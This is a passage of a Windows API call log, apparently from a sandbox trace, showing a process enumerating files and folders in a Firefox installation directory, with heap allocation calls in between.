ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xae84c600, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xb3296, dwReserved0=0x0, dwReserved1=0x0, cFileName="screenshots@mozilla.org.xpi", cAlternateFileName="SCREEN~1.XPI")) returned 1 [0289.908] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedaf45e9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedaf45e9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x238c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="shield-recipe-client@mozilla.org.xpi", cAlternateFileName="SHIELD~1.XPI")) returned 1 [0289.908] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb1a83d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x25a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="webcompat@mozilla.org.xpi", cAlternateFileName="WEBCOM~1.XPI")) returned 1 [0289.908] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb1a83d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xadec2f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x25a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="webcompat@mozilla.org.xpi", cAlternateFileName="WEBCOM~1.XPI")) returned 0 [0289.908] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0290.589] GetProcessHeap () returned 0xaf0000 [0290.589] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0290.589] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0290.589] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1 [0290.589] GetProcessHeap () returned 0xaf0000 [0290.589] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0290.589] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\browser\\VisualElements\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0290.590] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.590] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7ad166, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7ad166, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24cefb80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x8f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements_150.png", cAlternateFileName="VISUAL~1.PNG")) returned 1 [0290.590] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7d339e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24cefb80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x2f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements_70.png", cAlternateFileName="VISUAL~2.PNG")) returned 1 [0290.590] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7d339e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x24cefb80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x2f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements_70.png", cAlternateFileName="VISUAL~2.PNG")) returned 0 [0290.590] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0290.590] GetProcessHeap () returned 0xaf0000 [0290.590] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0290.590] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0 [0290.590] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0290.590] GetProcessHeap () returned 0xaf0000 [0290.590] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0290.592] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec033d59, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec033d59, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1 [0290.592] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec059fbc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec059fbc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x74b3bf80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2edd0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="crashreporter.exe", cAlternateFileName="CRASHR~1.EXE")) returned 1 [0290.592] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec080216, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec080216, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x690ecb80, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0xfa3, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="crashreporter.ini", cAlternateFileName="CRASHR~1.INI")) returned 1 [0290.592] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec080216, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec080216, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x447ec0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0290.592] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec080216, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="defaults", cAlternateFileName="")) returned 1 [0290.592] GetProcessHeap () returned 0xaf0000 [0290.593] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0290.593] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec080216, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0290.593] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec080216, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.594] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 1 [0290.594] GetProcessHeap () returned 0xaf0000 [0290.594] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0290.594] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\defaults\\pref\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0290.595] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.595] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccb8639, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5ea5ff00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="CHANNE~1.JS")) returned 1 [0290.595] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeccb8639, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5ea5ff00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="CHANNE~1.JS")) returned 0 [0290.595] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0290.595] GetProcessHeap () returned 0xaf0000 [0290.595] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0290.595] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 0 [0290.595] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0290.595] GetProcessHeap () returned 0xaf0000 [0290.595] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0290.596] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1 [0290.596] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0290.597] GetProcessHeap () returned 0xaf0000 [0290.597] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0290.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0290.597] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecc92398, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.597] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc6c132, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc6c132, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6b245a80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0xc02, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.aff", cAlternateFileName="")) returned 1 [0290.598] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6b245a80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x8ccfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 1 [0290.598] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecc92398, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x6b245a80, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x8ccfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 0 [0290.598] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0290.600] GetProcessHeap () returned 0xaf0000 [0290.600] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0290.600] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0290.600] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0f2926, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0f2926, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x25679200, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="firefox.VisualElementsManifest.xml", cAlternateFileName="FIREFO~1.XML")) returned 1 [0290.601] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0f2926, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecbad561, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecbad561, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="fonts", cAlternateFileName="")) returned 1 [0290.601] GetProcessHeap () returned 0xaf0000 [0290.607] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0290.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\fonts\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0f2926, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecbad561, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecbad561, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0290.607] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec0f2926, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecbad561, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecbad561, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0290.607] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbad561, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecbad561, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2d273680, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x12b9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmojiOneMozilla.ttf", cAlternateFileName="EMOJIO~1.TTF")) returned 1 [0290.607] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecbad561, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecbad561, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2d273680, ftLastWriteTime.dwHighDateTime=0x1d31cd6, nFileSizeHigh=0x0, nFileSizeLow=0x12b9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmojiOneMozilla.ttf", cAlternateFileName="EMOJIO~1.TTF")) returned 0 [0290.607] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0290.608] GetProcessHeap () returned 0xaf0000 [0290.608] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0290.608] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0290.608] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x6e9d0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="freebl3.dll", cAlternateFileName="")) returned 1 [0290.608] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecaee98b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecaee98b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="gmp-clearkey", cAlternateFileName="GMP-CL~1")) returned 1 [0290.608] GetProcessHeap () returned 0xaf0000 [0290.608] RtlAllocateHeap (HeapHandle=0xaf0000, 